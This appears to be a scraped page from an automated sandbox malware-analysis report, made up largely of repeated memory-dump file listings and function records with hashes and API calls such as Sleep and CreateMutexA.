Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fb7fabc1fb48d88e548740d7eeada2414cac528c1d279760c6c675dc7582c0fa
Instruction ID: c86c0b1ddc01dc7fb5652882d2d2570d3fb4df3aaa6a999e57ee97c33975a6fe
Opcode Fuzzy Hash: fb7fabc1fb48d88e548740d7eeada2414cac528c1d279760c6c675dc7582c0fa
Instruction Fuzzy Hash: 0F312531600100ABFB18DBB8DC89B6DB772FBC5319F24461AE015EB3D6D77D99908712

Function 007DA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 328e3e7ae2cea2cf928b5dfd4c20214fcd949b5cdfa20965741da8d1f005b75a
Instruction ID: 134e5f741d9c8e5c284aabee479cd800c424f030711639ee2c5a5816d56d2923
Opcode Fuzzy Hash: 328e3e7ae2cea2cf928b5dfd4c20214fcd949b5cdfa20965741da8d1f005b75a
Instruction Fuzzy Hash: 8F310531600140EBEB189B78DD89B6DB7B2FBC5325F24861AE0149B3D6D77D99808752

Function 007D9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ad3af8bf571c00bb4de56baa223dac096d350c326029c8086e2167b26bfab1ee
Instruction ID: 2949c7806f19e5c561c2ffb4c481e46a4af3aeb2dc6558daf1f837143c1c458f
Opcode Fuzzy Hash: ad3af8bf571c00bb4de56baa223dac096d350c326029c8086e2167b26bfab1ee
Instruction Fuzzy Hash: EE212831604200ABFB189B68DC89B2DF772FBC5315F20421AF514D77D5D77DA9808712

Function 007DA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 3a3ec13e2d35c3fa81eafea6db61dd6b8dee921e60cda03e4601a05c735feace
Instruction ID: dadf5adf9011bed7f9754c9a4599d7cce37fd77f365e594c6a2d623747e3c44c
Opcode Fuzzy Hash: 3a3ec13e2d35c3fa81eafea6db61dd6b8dee921e60cda03e4601a05c735feace
Instruction Fuzzy Hash: 07212B31345100EBFB296768989AB2DB372FF91305F240817E944D63D5DB7E5A81D253

Function 007DA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 007DA963
CreateMutexA.KERNEL32(00000000,00000000,00833254), ref: 007DA981

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2503455825.00000000009C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505145102.00000000009C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505218294.00000000009D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505259322.00000000009D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505383287.00000000009EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2505913509.00000000009F0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2506879873.00000000009F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2507292705.0000000000A04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508111805.0000000000A05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508236120.0000000000A06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508260365.0000000000A1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508280827.0000000000A1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508308888.0000000000A1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508487216.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508516090.0000000000A23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508543333.0000000000A27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508565857.0000000000A30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508586488.0000000000A32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508605391.0000000000A33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508681765.0000000000A37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508709418.0000000000A43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508739901.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508885897.0000000000A48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508900655.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508916845.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508933368.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508948630.0000000000A50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508961637.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508974753.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2508988238.0000000000A5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509001839.0000000000A62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509019603.0000000000A65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509036367.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509055179.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509089226.0000000000A97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509110558.0000000000AA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509152815.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509170894.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509189630.0000000000AD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509210133.0000000000ADB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509224715.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2509237819.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ada9af85bca26a04dad1de8cdde2638c8dc7cec7450627aea35bfdfa308dd7ec
Instruction ID: 9babe1fd882f0b4605bc6eaf90c719f43e1900eecf9cba1327b6bb0705f98d38
Opcode Fuzzy Hash: ada9af85bca26a04dad1de8cdde2638c8dc7cec7450627aea35bfdfa308dd7ec
Instruction Fuzzy Hash: 1F217931604200ABFB189B68DC8972DF772FBD5315F24461AE414D77D5D77EAA808352

Function 0080B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,00815024,?,00000000,?,0080EE3F,?,00000004,00000000,?,?,?,00809714), ref: 0080B07E

Memory Dump Source

Source File: 00000001.00000002.2494150893.00000000007D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007D0000, based on PE: true

Associated: 00000001.00000002.2493201836.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2494150893.0000000000832000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495463608.0000000000839000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495547111.000000000083B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2495801085.0000000000847000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2498803531.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2499452061.0000000000997000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2500152147.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
